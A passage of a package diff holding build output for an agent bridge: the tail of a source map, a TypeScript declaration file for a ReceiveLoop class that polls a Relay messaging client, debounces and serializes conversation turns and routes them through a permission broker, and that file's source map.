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"}
|
|
@@ -0,0 +1,54 @@
|
|
|
1
|
+
import type { RelayClient } from "./api.js";
|
|
2
|
+
import type { RelayMessage, StateStore } from "./store.js";
|
|
3
|
+
import type { EngineAdapter } from "./engine/types.js";
|
|
4
|
+
import { PermissionBroker } from "./permissions.js";
|
|
5
|
+
export interface ReceiveLoopOptions {
|
|
6
|
+
/** Pinned Relay user id allowed to drive this bridge (required). */
|
|
7
|
+
ownerUserId: string;
|
|
8
|
+
debounceMs?: number;
|
|
9
|
+
cwd?: string;
|
|
10
|
+
log?: (line: string) => void;
|
|
11
|
+
/** Injected for tests. */
|
|
12
|
+
setTimeoutImpl?: typeof setTimeout;
|
|
13
|
+
}
|
|
14
|
+
export declare function turnIdempotencyKey(conversationId: string, eventIds: string[]): string;
|
|
15
|
+
export declare function promptTextFromMessages(messages: RelayMessage[]): string;
|
|
16
|
+
export declare class ReceiveLoop {
|
|
17
|
+
private readonly client;
|
|
18
|
+
private readonly state;
|
|
19
|
+
private readonly engine;
|
|
20
|
+
readonly broker: PermissionBroker;
|
|
21
|
+
private readonly ownerUserId;
|
|
22
|
+
private readonly debounceMs;
|
|
23
|
+
private readonly cwd;
|
|
24
|
+
private readonly log;
|
|
25
|
+
private readonly setTimeoutImpl;
|
|
26
|
+
private readonly debounceTimers;
|
|
27
|
+
/** Serializes turns per conversation. */
|
|
28
|
+
private readonly turnChains;
|
|
29
|
+
private stopped;
|
|
30
|
+
constructor(client: RelayClient, state: StateStore, engine: EngineAdapter, broker: PermissionBroker, options: ReceiveLoopOptions);
|
|
31
|
+
/**
|
|
32
|
+
* One poll cycle: fetch, dedupe, durably enqueue + ack, schedule flushes.
|
|
33
|
+
* Exposed for tests; `run()` supervises it forever.
|
|
34
|
+
*/
|
|
35
|
+
pollOnce(timeoutS?: number): Promise<number>;
|
|
36
|
+
/** Returns the conversation id when the event was enqueued for the engine. */
|
|
37
|
+
private routeEvent;
|
|
38
|
+
private scheduleFlush;
|
|
39
|
+
private chainTurn;
|
|
40
|
+
/** Waits for in-flight turns (tests + graceful shutdown). */
|
|
41
|
+
settle(): Promise<void>;
|
|
42
|
+
/** Removes THIS turn's consumed events (and its attempt marker) durably. */
|
|
43
|
+
private clearBatch;
|
|
44
|
+
private postNotice;
|
|
45
|
+
private pendingReplyForConversation;
|
|
46
|
+
/** Idempotently deliver an engine-completed reply without rerunning tools. */
|
|
47
|
+
private deliverPendingReply;
|
|
48
|
+
runTurn(conversationId: string): Promise<void>;
|
|
49
|
+
private startTyping;
|
|
50
|
+
stop(): void;
|
|
51
|
+
/** Supervisor: restart the poll loop on failure with capped backoff + jitter. */
|
|
52
|
+
run(): Promise<void>;
|
|
53
|
+
}
|
|
54
|
+
//# sourceMappingURL=receive.d.ts.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"receive.d.ts","sourceRoot":"","sources":["../src/receive.ts"],"names":[],"mappings":"AAeA,OAAO,KAAK,EAAE,WAAW,EAAE,MAAM,UAAU,CAAC;AAC5C,OAAO,KAAK,EAA2B,YAAY,EAAE,UAAU,EAAE,MAAM,YAAY,CAAC;AACpF,OAAO,KAAK,EAAE,aAAa,EAAE,MAAM,mBAAmB,CAAC;AACvD,OAAO,EAAE,gBAAgB,EAAE,MAAM,kBAAkB,CAAC;AAEpD,MAAM,WAAW,kBAAkB;IACjC,oEAAoE;IACpE,WAAW,EAAE,MAAM,CAAC;IACpB,UAAU,CAAC,EAAE,MAAM,CAAC;IACpB,GAAG,CAAC,EAAE,MAAM,CAAC;IACb,GAAG,CAAC,EAAE,CAAC,IAAI,EAAE,MAAM,KAAK,IAAI,CAAC;IAC7B,0BAA0B;IAC1B,cAAc,CAAC,EAAE,OAAO,UAAU,CAAC;CACpC;AAED,wBAAgB,kBAAkB,CAAC,cAAc,EAAE,MAAM,EAAE,QAAQ,EAAE,MAAM,EAAE,GAAG,MAAM,CAKrF;AAED,wBAAgB,sBAAsB,CAAC,QAAQ,EAAE,YAAY,EAAE,GAAG,MAAM,CAWvE;AAED,qBAAa,WAAW;IAYpB,OAAO,CAAC,QAAQ,CAAC,MAAM;IACvB,OAAO,CAAC,QAAQ,CAAC,KAAK;IACtB,OAAO,CAAC,QAAQ,CAAC,MAAM;IACvB,QAAQ,CAAC,MAAM,EAAE,gBAAgB;IAdnC,OAAO,CAAC,QAAQ,CAAC,WAAW,CAAS;IACrC,OAAO,CAAC,QAAQ,CAAC,UAAU,CAAS;IACpC,OAAO,CAAC,QAAQ,CAAC,GAAG,CAAS;IAC7B,OAAO,CAAC,QAAQ,CAAC,GAAG,CAAyB;IAC7C,OAAO,CAAC,QAAQ,CAAC,cAAc,CAAoB;IACnD,OAAO,CAAC,QAAQ,CAAC,cAAc,CAAqC;IACpE,yCAAyC;IACzC,OAAO,CAAC,QAAQ,CAAC,UAAU,CAAoC;IAC/D,OAAO,CAAC,OAAO,CAAS;gBAGL,MAAM,EAAE,WAAW,EACnB,KAAK,EAAE,UAAU,EACjB,MAAM,EAAE,aAAa,EAC7B,MAAM,EAAE,gBAAgB,EACjC,OAAO,EAAE,kBAAkB;IAS7B;;;OAGG;IACG,QAAQ,CAAC,QAAQ,SAAK,GAAG,OAAO,CAAC,MAAM,CAAC;IAsB9C,8EAA8E;IAC9E,OAAO,CAAC,UAAU;IAkBlB,OAAO,CAAC,aAAa;IAYrB,OAAO,CAAC,SAAS;IAajB,6DAA6D;IACvD,MAAM,IAAI,OAAO,CAAC,IAAI,CAAC;IAI7B,4EAA4E;IAC5E,OAAO,CAAC,UAAU;YAoBJ,UAAU;IAWxB,OAAO,CAAC,2BAA2B;IAQnC,8EAA8E;YAChE,mBAAmB;IAuB3B,OAAO,CAAC,cAAc,EAAE,MAAM,GAAG,OAAO,CAAC,IAAI,CAAC;IA2HpD,OAAO,CAAC,WAAW;IAuBnB,IAAI,IAAI,IAAI;IAMZ,iFAAiF;IAC3E,GAAG,IAAI,OAAO,CAAC,IAAI,CAAC;CA8B3B"}
|